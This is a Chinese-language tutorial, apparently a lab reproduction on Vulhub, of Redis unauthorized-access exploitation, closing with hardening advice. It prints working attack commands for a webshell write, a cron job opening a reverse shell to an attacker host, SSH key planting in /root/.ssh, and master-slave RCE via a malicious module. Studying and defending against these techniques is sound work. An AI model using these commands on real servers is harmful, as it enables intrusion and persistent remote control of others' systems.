跳转至

未授权访问漏洞

漏洞描述

Redis 默认情况下,会绑定在 0.0.0.0: 6379(在 redis3.2 之后,redis 增加了 protected-mode,在这个模式下,非绑定 IP 或者没有配置密码访问时都会报错)

  • 如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等等,这样将会将 Redis 服务暴露在公网上
  • 如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者还可以成功将自己的 ssh 公钥写入目标服务器的/root/.ssh 文件的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务器登录目标服务器。

影响版本

  • 准确来说,未授权访问是由于配置不当,与版本无关

环境配置

  • Vulhub 项目
  • Docker-compose 启动

漏洞复现

漏洞存在验证

Success

漏洞存在,且为无密码

Bash
wget http://download.redis.io/redis-stable.tar.gz
Bash
tar -zxvf redis-stable.tar.gz
cd redis-stable
make

Success

安装 redis 连接工具成功

Bash
cp src/redis-cli /usr/bin/
redis-cli -h

Note

此处也可设置别名

Bash
无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码

Success

成功无密码连接

写入 webshell

Important

利用条件:

  • 开启了 web 服务器,并且知道 web 目录的绝对路径
  • 用户对该目录有读写权限

这里由于靶机没有开放 web 服务,故用/tmp 目录演示


Bash
config set dir /tmp
config set dbfilename test.php
set webshell "\r\n\r\n <?php phpinfo();?> \r\n\r\n"
save

Tip

这里一句话木马前后跟了很多换行符的原因是 redis 执行 save 会附带版本号等信息,所以需要换行来隔开,否则 webshell 可能不能执行

写入计划任务

Important

前提条件:

  • 知道目标系统
  • centos
    • 计划任务:/etc/crontab
  • ubuntu
    • 计划任务:/var/spool/cron/crontabs/{username}
    • 用户名已知
Bash
config set dir /var/spool/cron/crontabs
config set dbfilename root
set xxx "\n\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/{Lhost}/{Lport} 0>&1\n\n\n"
save

写入公私钥

Important

  • 用户名已知
  • ssh key 存放路径已知(默认为{username}/.ssh)
Bash
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
cat 1.txt | redis-cli -h {Rhost} -p {Rport} -x set crack
Bash
config set dir /root/.ssh
CONFIG SET dbfilename authorized_keys
save
exit

Success

之后攻击机 ssh 连接即可

主从模式 RCE

Important

redis 版本 <= 5.0.5

Redis 提供了主从模式,主从模式指使用一个 redis 作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在 Reids 4.x 之后,通过外部拓展,可以实现在 redis 中实现一个新的 Redis 命令,构造恶意.so 文件。

在两个 Redis 实例设置主从模式的时候,Redis 的主机实例可以通过 FULLRESYNC 同步文件到从机上。然后在从机上加载恶意 so 文件,即可执行命令。

Bash
git clone git@github.com:vulhub/redis-rogue-getshell.git
python3 redis-master.py -L 192.168.40.160 -P 4444 -r 192.168.40.129 -p 6379 -f RedisModulesSDK/exp/exp.so  -c "id"

漏洞原理

  • 没有配置特定 IP 访问限制
  • 没有配置强密码
  • 默认端口没有改

修复建议

  • 以普通账号启动 redis 服务
  • 监听本地或特定主机
  • 开启 protected-mode
  • 更改默认 6379 端口
  • 为 redis 设置强密码